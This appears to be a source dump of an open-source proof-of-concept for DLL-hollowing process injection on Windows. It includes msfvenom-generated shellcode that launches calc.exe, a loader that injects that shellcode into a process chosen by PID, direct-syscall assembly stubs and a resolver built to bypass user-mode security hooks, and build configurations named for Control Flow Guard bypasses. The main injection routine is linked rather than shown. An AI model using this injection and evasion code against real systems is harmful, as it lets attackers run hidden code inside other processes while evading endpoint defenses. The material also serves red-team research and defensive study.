├── process_injection_dll_hollow_syscalls ├── src │ ├── dllHollow.c │ ├── dllHollow.h │ ├── shellcode.c │ ├── main.cpp │ ├── syscallsstubs.asm │ ├── syscalls.c │ └── syscalls.h ├── process_injection_dll_hollow_syscalls.vcxproj.user ├── process_injection_dll_hollow_syscalls.vcxproj.filters └── process_injection_dll_hollow_syscalls.vcxproj ├── README.md └── process_injection_dll_hollow_syscalls.sln /process_injection_dll_hollow_syscalls/src/dllHollow.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECFORCE/DLL-Hollow-PoC/HEAD/process_injection_dll_hollow_syscalls/src/dllHollow.c -------------------------------------------------------------------------------- /process_injection_dll_hollow_syscalls/src/dllHollow.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "windows.h" 3 | 4 | 5 | 6 | 7 | EXTERN_C PVOID inject(unsigned char *shellcode, SIZE_T len, DWORD pid); -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DLL Hollow PoC 2 | 3 | DLL Hollowing PoC - Remote and Self shellcode injection 4 | 5 | Blog Post: https://www.secforce.com/blog/dll-hollowing-a-deep-dive-into-a-stealthier-memory-allocation-variant/ 6 | -------------------------------------------------------------------------------- /process_injection_dll_hollow_syscalls/process_injection_dll_hollow_syscalls.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /process_injection_dll_hollow_syscalls/src/shellcode.c: -------------------------------------------------------------------------------- 1 | #pragma clang diagnostic ignored "-Woverlength-strings" 2 | #include 3 | 4 | // msfvenom -a x64 --platform windows -p windows/x64/exec cmd=calc.exe EXITFUNC=thread -f C 5 | // Payload size : 276 bytes 6 | unsigned char shellcode[] = 7 | "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" 8 | "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" 9 | "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" 10 | "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" 11 | "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" 12 | "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" 13 | "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" 14 | "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" 15 | "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" 16 | "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" 17 | "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" 18 | "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" 19 | "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" 20 | "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" 21 | "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" 22 | "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" 23 | "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" 24 | "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" 25 | "\x63\x2e\x65\x78\x65\x00"; 26 | 27 | SIZE_T shellcode_len = sizeof(shellcode); 28 | 29 | 30 | -------------------------------------------------------------------------------- /process_injection_dll_hollow_syscalls/src/main.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | DLL Hollow process injection PoC 3 | Author: Dimitri Di Cristofaro (GlenX) @d_glenx 4 | Arch: x86-64 5 | Copyright (c) 2021 SECFORCE (Dimitri Di Cristofaro) 6 | This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. 7 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 8 | You should have received a copy of the GNU General Public License along with this program. If not, see . 9 | */ 10 | #include 11 | #include 12 | #include "dllHollow.h" 13 | #include "shellcode.c" 14 | #include "syscalls.h" 15 | 16 | 17 | int main(int argc, char** argv) { 18 | DWORD pid = 0; 19 | int status = 0; 20 | PVOID remote_addr = NULL; 21 | 22 | 23 | if (argc == 2) { 24 | pid = atoi(argv[1]); 25 | printf("Injecting into PID %d", pid); 26 | } 27 | else { 28 | printf("Injecting into myself\n"); 29 | pid = 0; 30 | } 31 | 32 | wprintf(L"Injecting %d bytes of shellcode\n", shellcode_len); 33 | 34 | // Dll Hollow 35 | remote_addr = inject(shellcode, shellcode_len, pid); 36 | 37 | if (remote_addr != NULL) { 38 | if (pid == 0) pid = GetProcessId(GetCurrentProcess()); 39 | printf("Injection done! Check memory @ 0x%p of process with PID %d\n", remote_addr, pid); 40 | } 41 | else { 42 | printf("Injection Failed!\n"); 43 | } 44 | 45 | 46 | printf("Keeping the process alive.. Press any key to exit..\n"); 47 | getchar(); 48 | 49 | return 0; 50 | } -------------------------------------------------------------------------------- /process_injection_dll_hollow_syscalls/process_injection_dll_hollow_syscalls.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | 32 | 33 | Source Files 34 | 35 | 36 | Source Files 37 | 38 | 39 | 40 | 41 | Source Files 42 | 43 | 44 | -------------------------------------------------------------------------------- /process_injection_dll_hollow_syscalls.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30320.27 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "process_injection_dll_hollow_syscalls", "process_injection_dll_hollow_syscalls\process_injection_dll_hollow_syscalls.vcxproj", "{A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Bypass CFG (NTDLL Patch)|x64 = Bypass CFG (NTDLL Patch)|x64 11 | Bypass CFG (NTDLL Patch)|x86 = Bypass CFG (NTDLL Patch)|x86 12 | Bypass CFG(ThreadCTX)|x64 = Bypass CFG(ThreadCTX)|x64 13 | Bypass CFG(ThreadCTX)|x86 = Bypass CFG(ThreadCTX)|x86 14 | CFG Disabled|x64 = CFG Disabled|x64 15 | CFG Disabled|x86 = CFG Disabled|x86 16 | CFG Enabled|x64 = CFG Enabled|x64 17 | CFG Enabled|x86 = CFG Enabled|x86 18 | Debug|x64 = Debug|x64 19 | Debug|x86 = Debug|x86 20 | Release|x64 = Release|x64 21 | Release|x86 = Release|x86 22 | EndGlobalSection 23 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 24 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG (NTDLL Patch)|x64.ActiveCfg = Bypass CFG (NTDLL Patch)|x64 25 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG (NTDLL Patch)|x64.Build.0 = Bypass CFG (NTDLL Patch)|x64 26 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG (NTDLL Patch)|x86.ActiveCfg = Bypass CFG (NTDLL Patch)|Win32 27 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG (NTDLL Patch)|x86.Build.0 = Bypass CFG (NTDLL Patch)|Win32 28 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG(ThreadCTX)|x64.ActiveCfg = CFG Enabled - Bypass CFG( Thread CTX)|x64 29 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG(ThreadCTX)|x64.Build.0 = CFG Enabled - Bypass CFG( Thread CTX)|x64 30 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG(ThreadCTX)|x86.ActiveCfg = CFG Enabled - Bypass CFG( Thread CTX)|Win32 31 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG(ThreadCTX)|x86.Build.0 = CFG Enabled - Bypass CFG( Thread CTX)|Win32 32 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Disabled|x64.ActiveCfg = CFG Disabled|x64 33 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Disabled|x64.Build.0 = CFG Disabled|x64 34 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Disabled|x86.ActiveCfg = CFG Disabled|Win32 35 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Disabled|x86.Build.0 = CFG Disabled|Win32 36 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Enabled|x64.ActiveCfg = CFG Enabled|x64 37 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Enabled|x64.Build.0 = CFG Enabled|x64 38 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Enabled|x86.ActiveCfg = CFG Enabled|Win32 39 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Enabled|x86.Build.0 = CFG Enabled|Win32 40 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Debug|x64.ActiveCfg = Bypass CFG (NTDLL Patch)|x64 41 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Debug|x64.Build.0 = Bypass CFG (NTDLL Patch)|x64 42 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Debug|x86.ActiveCfg = Debug|Win32 43 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Debug|x86.Build.0 = Debug|Win32 44 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Release|x64.ActiveCfg = Bypass CFG (NTDLL Patch)|x64 45 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Release|x64.Build.0 = Bypass CFG (NTDLL Patch)|x64 46 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Release|x86.ActiveCfg = Release|Win32 47 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Release|x86.Build.0 = Release|Win32 48 | EndGlobalSection 49 | GlobalSection(SolutionProperties) = preSolution 50 | HideSolutionNode = FALSE 51 | EndGlobalSection 52 | GlobalSection(ExtensibilityGlobals) = postSolution 53 | SolutionGuid = {FCD19C82-6079-477C-B525-200942E8695D} 54 | EndGlobalSection 55 | EndGlobal 56 | -------------------------------------------------------------------------------- /process_injection_dll_hollow_syscalls/src/syscallsstubs.asm: -------------------------------------------------------------------------------- 1 | 2 | .code 3 | 4 | EXTERN SW2_GetSyscallNumber: PROC 5 | 6 | NtProtectVirtualMemory PROC 7 | push rcx ; Save registers. 8 | push rdx 9 | push r8 10 | push r9 11 | mov ecx, 0415033ABh ; Load function hash into ECX. 12 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number. 13 | pop r9 ; Restore registers. 14 | pop r8 15 | pop rdx 16 | pop rcx 17 | mov r10, rcx 18 | syscall ; Invoke system call. 19 | ret 20 | NtProtectVirtualMemory ENDP 21 | 22 | NtAllocateVirtualMemory PROC 23 | push rcx ; Save registers. 24 | push rdx 25 | push r8 26 | push r9 27 | mov ecx, 03595233Bh ; Load function hash into ECX. 28 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number. 29 | pop r9 ; Restore registers. 30 | pop r8 31 | pop rdx 32 | pop rcx 33 | mov r10, rcx 34 | syscall ; Invoke system call. 35 | ret 36 | NtAllocateVirtualMemory ENDP 37 | 38 | NtWriteVirtualMemory PROC 39 | push rcx ; Save registers. 40 | push rdx 41 | push r8 42 | push r9 43 | mov ecx, 00B97293Dh ; Load function hash into ECX. 44 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number. 45 | pop r9 ; Restore registers. 46 | pop r8 47 | pop rdx 48 | pop rcx 49 | mov r10, rcx 50 | syscall ; Invoke system call. 51 | ret 52 | NtWriteVirtualMemory ENDP 53 | 54 | NtCreateThreadEx PROC 55 | push rcx ; Save registers. 56 | push rdx 57 | push r8 58 | push r9 59 | mov ecx, 0003952E3h ; Load function hash into ECX. 60 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number. 61 | pop r9 ; Restore registers. 62 | pop r8 63 | pop rdx 64 | pop rcx 65 | mov r10, rcx 66 | syscall ; Invoke system call. 67 | ret 68 | NtCreateThreadEx ENDP 69 | 70 | NtWaitForSingleObject PROC 71 | push rcx ; Save registers. 72 | push rdx 73 | push r8 74 | push r9 75 | mov ecx, 03EA04C4Dh ; Load function hash into ECX. 76 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number. 77 | pop r9 ; Restore registers. 78 | pop r8 79 | pop rdx 80 | pop rcx 81 | mov r10, rcx 82 | syscall ; Invoke system call. 83 | ret 84 | NtWaitForSingleObject ENDP 85 | 86 | NtCreateThread PROC 87 | push rcx ; Save registers. 88 | push rdx 89 | push r8 90 | push r9 91 | mov ecx, 0142C8815h ; Load function hash into ECX. 92 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number. 93 | pop r9 ; Restore registers. 94 | pop r8 95 | pop rdx 96 | pop rcx 97 | mov r10, rcx 98 | syscall ; Invoke system call. 99 | ret 100 | NtCreateThread ENDP 101 | 102 | NtMapViewOfSection PROC 103 | push rcx ; Save registers. 104 | push rdx 105 | push r8 106 | push r9 107 | mov ecx, 01F071C6Ah ; Load function hash into ECX. 108 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number. 109 | pop r9 ; Restore registers. 110 | pop r8 111 | pop rdx 112 | pop rcx 113 | mov r10, rcx 114 | syscall ; Invoke system call. 115 | ret 116 | NtMapViewOfSection ENDP 117 | 118 | NtCreateSection PROC 119 | push rcx ; Save registers. 120 | push rdx 121 | push r8 122 | push r9 123 | mov ecx, 034A314EDh ; Load function hash into ECX. 124 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number. 125 | pop r9 ; Restore registers. 126 | pop r8 127 | pop rdx 128 | pop rcx 129 | mov r10, rcx 130 | syscall ; Invoke system call. 131 | ret 132 | NtCreateSection ENDP 133 | 134 | end -------------------------------------------------------------------------------- /process_injection_dll_hollow_syscalls/src/syscalls.c: -------------------------------------------------------------------------------- 1 | #include "syscalls.h" 2 | 3 | // Code below is adapted from @modexpblog. Read linked article for more details. 4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 5 | 6 | SW2_SYSCALL_LIST SW2_SyscallList; 7 | 8 | DWORD SW2_HashSyscall(PCSTR FunctionName) 9 | { 10 | DWORD i = 0; 11 | DWORD Hash = SW2_SEED; 12 | 13 | while (FunctionName[i]) 14 | { 15 | WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++); 16 | Hash ^= PartialName + SW2_ROR8(Hash); 17 | } 18 | 19 | return Hash; 20 | } 21 | 22 | BOOL SW2_PopulateSyscallList() 23 | { 24 | // Return early if the list is already populated. 25 | if (SW2_SyscallList.Count) return TRUE; 26 | 27 | PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60); 28 | PSW2_PEB_LDR_DATA Ldr = Peb->Ldr; 29 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; 30 | PVOID DllBase = NULL; 31 | 32 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second 33 | // in the list, so it's safer to loop through the full list and find it. 34 | PSW2_LDR_DATA_TABLE_ENTRY LdrEntry; 35 | for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) 36 | { 37 | DllBase = LdrEntry->DllBase; 38 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; 39 | PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); 40 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; 41 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 42 | if (VirtualAddress == 0) continue; 43 | 44 | ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); 45 | 46 | // If this is NTDLL.dll, exit loop. 47 | PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); 48 | 49 | if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue; 50 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break; 51 | } 52 | 53 | if (!ExportDirectory) return FALSE; 54 | 55 | DWORD NumberOfNames = ExportDirectory->NumberOfNames; 56 | PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); 57 | PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); 58 | PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); 59 | 60 | // Populate SW2_SyscallList with unsorted Zw* entries. 61 | DWORD i = 0; 62 | PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries; 63 | do 64 | { 65 | PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); 66 | 67 | // Is this a system call? 68 | if (*(USHORT*)FunctionName == 'wZ') 69 | { 70 | Entries[i].Hash = SW2_HashSyscall(FunctionName); 71 | Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; 72 | 73 | i++; 74 | if (i == SW2_MAX_ENTRIES) break; 75 | } 76 | } while (--NumberOfNames); 77 | 78 | // Save total number of system calls found. 79 | SW2_SyscallList.Count = i; 80 | 81 | // Sort the list by address in ascending order. 82 | for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++) 83 | { 84 | for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++) 85 | { 86 | if (Entries[j].Address > Entries[j + 1].Address) 87 | { 88 | // Swap entries. 89 | SW2_SYSCALL_ENTRY TempEntry; 90 | 91 | TempEntry.Hash = Entries[j].Hash; 92 | TempEntry.Address = Entries[j].Address; 93 | 94 | Entries[j].Hash = Entries[j + 1].Hash; 95 | Entries[j].Address = Entries[j + 1].Address; 96 | 97 | Entries[j + 1].Hash = TempEntry.Hash; 98 | Entries[j + 1].Address = TempEntry.Address; 99 | } 100 | } 101 | } 102 | 103 | return TRUE; 104 | } 105 | 106 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) 107 | { 108 | // Ensure SW2_SyscallList is populated. 109 | if (!SW2_PopulateSyscallList()) return -1; 110 | 111 | for (DWORD i = 0; i < SW2_SyscallList.Count; i++) 112 | { 113 | if (FunctionHash == SW2_SyscallList.Entries[i].Hash) 114 | { 115 | return i; 116 | } 117 | } 118 | 119 | return -1; 120 | } 121 | -------------------------------------------------------------------------------- /process_injection_dll_hollow_syscalls/src/syscalls.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Code below is adapted from @modexpblog. Read linked article for more details. 4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 5 | 6 | #ifndef SW2_HEADER_H_ 7 | #define SW2_HEADER_H_ 8 | 9 | #include 10 | 11 | #define SW2_SEED 0x9A4BC5C1 12 | #define SW2_ROL8(v) (v << 8 | v >> 24) 13 | #define SW2_ROR8(v) (v >> 8 | v << 24) 14 | #define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v)) 15 | #define SW2_MAX_ENTRIES 500 16 | #define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) 17 | 18 | // Typedefs are prefixed to avoid pollution. 19 | 20 | typedef struct _SW2_SYSCALL_ENTRY 21 | { 22 | DWORD Hash; 23 | DWORD Address; 24 | } SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY; 25 | 26 | typedef struct _SW2_SYSCALL_LIST 27 | { 28 | DWORD Count; 29 | SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES]; 30 | } SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST; 31 | 32 | typedef struct _SW2_PEB_LDR_DATA { 33 | BYTE Reserved1[8]; 34 | PVOID Reserved2[3]; 35 | LIST_ENTRY InMemoryOrderModuleList; 36 | } SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA; 37 | 38 | typedef struct _SW2_LDR_DATA_TABLE_ENTRY { 39 | PVOID Reserved1[2]; 40 | LIST_ENTRY InMemoryOrderLinks; 41 | PVOID Reserved2[2]; 42 | PVOID DllBase; 43 | } SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY; 44 | 45 | typedef struct _SW2_PEB { 46 | BYTE Reserved1[2]; 47 | BYTE BeingDebugged; 48 | BYTE Reserved2[1]; 49 | PVOID Reserved3[2]; 50 | PSW2_PEB_LDR_DATA Ldr; 51 | } SW2_PEB, *PSW2_PEB; 52 | 53 | DWORD SW2_HashSyscall(PCSTR FunctionName); 54 | BOOL SW2_PopulateSyscallList(); 55 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash); 56 | 57 | #ifndef InitializeObjectAttributes 58 | #define InitializeObjectAttributes( p, n, a, r, s ) { \ 59 | (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ 60 | (p)->RootDirectory = r; \ 61 | (p)->Attributes = a; \ 62 | (p)->ObjectName = n; \ 63 | (p)->SecurityDescriptor = s; \ 64 | (p)->SecurityQualityOfService = NULL; \ 65 | } 66 | #endif 67 | 68 | typedef struct _UNICODE_STRING 69 | { 70 | USHORT Length; 71 | USHORT MaximumLength; 72 | PWSTR Buffer; 73 | } UNICODE_STRING, *PUNICODE_STRING; 74 | 75 | typedef struct _PS_ATTRIBUTE 76 | { 77 | ULONG Attribute; 78 | SIZE_T Size; 79 | union 80 | { 81 | ULONG Value; 82 | PVOID ValuePtr; 83 | } u1; 84 | PSIZE_T ReturnLength; 85 | } PS_ATTRIBUTE, *PPS_ATTRIBUTE; 86 | 87 | typedef struct _OBJECT_ATTRIBUTES 88 | { 89 | ULONG Length; 90 | HANDLE RootDirectory; 91 | PUNICODE_STRING ObjectName; 92 | ULONG Attributes; 93 | PVOID SecurityDescriptor; 94 | PVOID SecurityQualityOfService; 95 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 96 | 97 | typedef struct _CLIENT_ID 98 | { 99 | HANDLE UniqueProcess; 100 | HANDLE UniqueThread; 101 | } CLIENT_ID, *PCLIENT_ID; 102 | 103 | typedef struct _USER_STACK 104 | { 105 | PVOID FixedStackBase; 106 | PVOID FixedStackLimit; 107 | PVOID ExpandableStackBase; 108 | PVOID ExpandableStackLimit; 109 | PVOID ExpandableStackBottom; 110 | } USER_STACK, *PUSER_STACK; 111 | 112 | typedef enum _SECTION_INHERIT 113 | { 114 | ViewShare = 1, 115 | ViewUnmap = 2 116 | } SECTION_INHERIT, *PSECTION_INHERIT; 117 | 118 | typedef struct _PS_ATTRIBUTE_LIST 119 | { 120 | SIZE_T TotalLength; 121 | PS_ATTRIBUTE Attributes[1]; 122 | } PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; 123 | 124 | EXTERN_C NTSTATUS NtProtectVirtualMemory( 125 | IN HANDLE ProcessHandle, 126 | IN OUT PVOID * BaseAddress, 127 | IN OUT PSIZE_T RegionSize, 128 | IN ULONG NewProtect, 129 | OUT PULONG OldProtect); 130 | 131 | EXTERN_C NTSTATUS NtAllocateVirtualMemory( 132 | IN HANDLE ProcessHandle, 133 | IN OUT PVOID * BaseAddress, 134 | IN ULONG ZeroBits, 135 | IN OUT PSIZE_T RegionSize, 136 | IN ULONG AllocationType, 137 | IN ULONG Protect); 138 | 139 | EXTERN_C NTSTATUS NtWriteVirtualMemory( 140 | IN HANDLE ProcessHandle, 141 | IN PVOID BaseAddress, 142 | IN PVOID Buffer, 143 | IN SIZE_T NumberOfBytesToWrite, 144 | OUT PSIZE_T NumberOfBytesWritten OPTIONAL); 145 | 146 | EXTERN_C NTSTATUS NtCreateThreadEx( 147 | OUT PHANDLE ThreadHandle, 148 | IN ACCESS_MASK DesiredAccess, 149 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 150 | IN HANDLE ProcessHandle, 151 | IN PVOID StartRoutine, 152 | IN PVOID Argument OPTIONAL, 153 | IN ULONG CreateFlags, 154 | IN SIZE_T ZeroBits, 155 | IN SIZE_T StackSize, 156 | IN SIZE_T MaximumStackSize, 157 | IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); 158 | 159 | EXTERN_C NTSTATUS NtWaitForSingleObject( 160 | IN HANDLE ObjectHandle, 161 | IN BOOLEAN Alertable, 162 | IN PLARGE_INTEGER TimeOut OPTIONAL); 163 | 164 | EXTERN_C NTSTATUS NtCreateThread( 165 | OUT PHANDLE ThreadHandle, 166 | IN ACCESS_MASK DesiredAccess, 167 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 168 | IN HANDLE ProcessHandle, 169 | OUT PCLIENT_ID ClientId, 170 | IN PCONTEXT ThreadContext, 171 | IN PUSER_STACK InitialTeb, 172 | IN BOOLEAN CreateSuspended); 173 | 174 | EXTERN_C NTSTATUS NtMapViewOfSection( 175 | IN HANDLE SectionHandle, 176 | IN HANDLE ProcessHandle, 177 | IN OUT PVOID BaseAddress, 178 | IN ULONG ZeroBits, 179 | IN SIZE_T CommitSize, 180 | IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, 181 | IN OUT PSIZE_T ViewSize, 182 | IN SECTION_INHERIT InheritDisposition, 183 | IN ULONG AllocationType, 184 | IN ULONG Win32Protect); 185 | 186 | EXTERN_C NTSTATUS NtCreateSection( 187 | OUT PHANDLE SectionHandle, 188 | IN ACCESS_MASK DesiredAccess, 189 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 190 | IN PLARGE_INTEGER MaximumSize OPTIONAL, 191 | IN ULONG SectionPageProtection, 192 | IN ULONG AllocationAttributes, 193 | IN HANDLE FileHandle OPTIONAL); 194 | 195 | #endif -------------------------------------------------------------------------------- /process_injection_dll_hollow_syscalls/process_injection_dll_hollow_syscalls.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Bypass CFG (NTDLL Patch) 6 | Win32 7 | 8 | 9 | Bypass CFG (NTDLL Patch) 10 | x64 11 | 12 | 13 | CFG Disabled 14 | Win32 15 | 16 | 17 | CFG Disabled 18 | x64 19 | 20 | 21 | CFG Enabled - Bypass CFG( Thread CTX) 22 | Win32 23 | 24 | 25 | CFG Enabled - Bypass CFG( Thread CTX) 26 | x64 27 | 28 | 29 | CFG Enabled 30 | Win32 31 | 32 | 33 | CFG Enabled 34 | x64 35 | 36 | 37 | Debug 38 | Win32 39 | 40 | 41 | Release 42 | Win32 43 | 44 | 45 | Debug 46 | x64 47 | 48 | 49 | Release 50 | x64 51 | 52 | 53 | 54 | 16.0 55 | Win32Proj 56 | {a2efab2f-84d0-419a-8de7-9ca18092bc47} 57 | processinjectiondllhollowsyscallsnoCFG 58 | 10.0 59 | process_injection_dll_hollow_syscalls 60 | 61 | 62 | 63 | Application 64 | true 65 | v142 66 | Unicode 67 | 68 | 69 | Application 70 | false 71 | v142 72 | true 73 | Unicode 74 | 75 | 76 | Application 77 | false 78 | v142 79 | true 80 | Unicode 81 | 82 | 83 | Application 84 | false 85 | v142 86 | true 87 | Unicode 88 | 89 | 90 | Application 91 | false 92 | v142 93 | true 94 | Unicode 95 | 96 | 97 | Application 98 | false 99 | v142 100 | true 101 | Unicode 102 | 103 | 104 | Application 105 | true 106 | v142 107 | Unicode 108 | 109 | 110 | Application 111 | false 112 | v142 113 | true 114 | Unicode 115 | 116 | 117 | Application 118 | false 119 | v142 120 | true 121 | Unicode 122 | 123 | 124 | Application 125 | false 126 | v142 127 | true 128 | Unicode 129 | 130 | 131 | Application 132 | false 133 | v142 134 | true 135 | Unicode 136 | 137 | 138 | Application 139 | false 140 | v142 141 | true 142 | Unicode 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 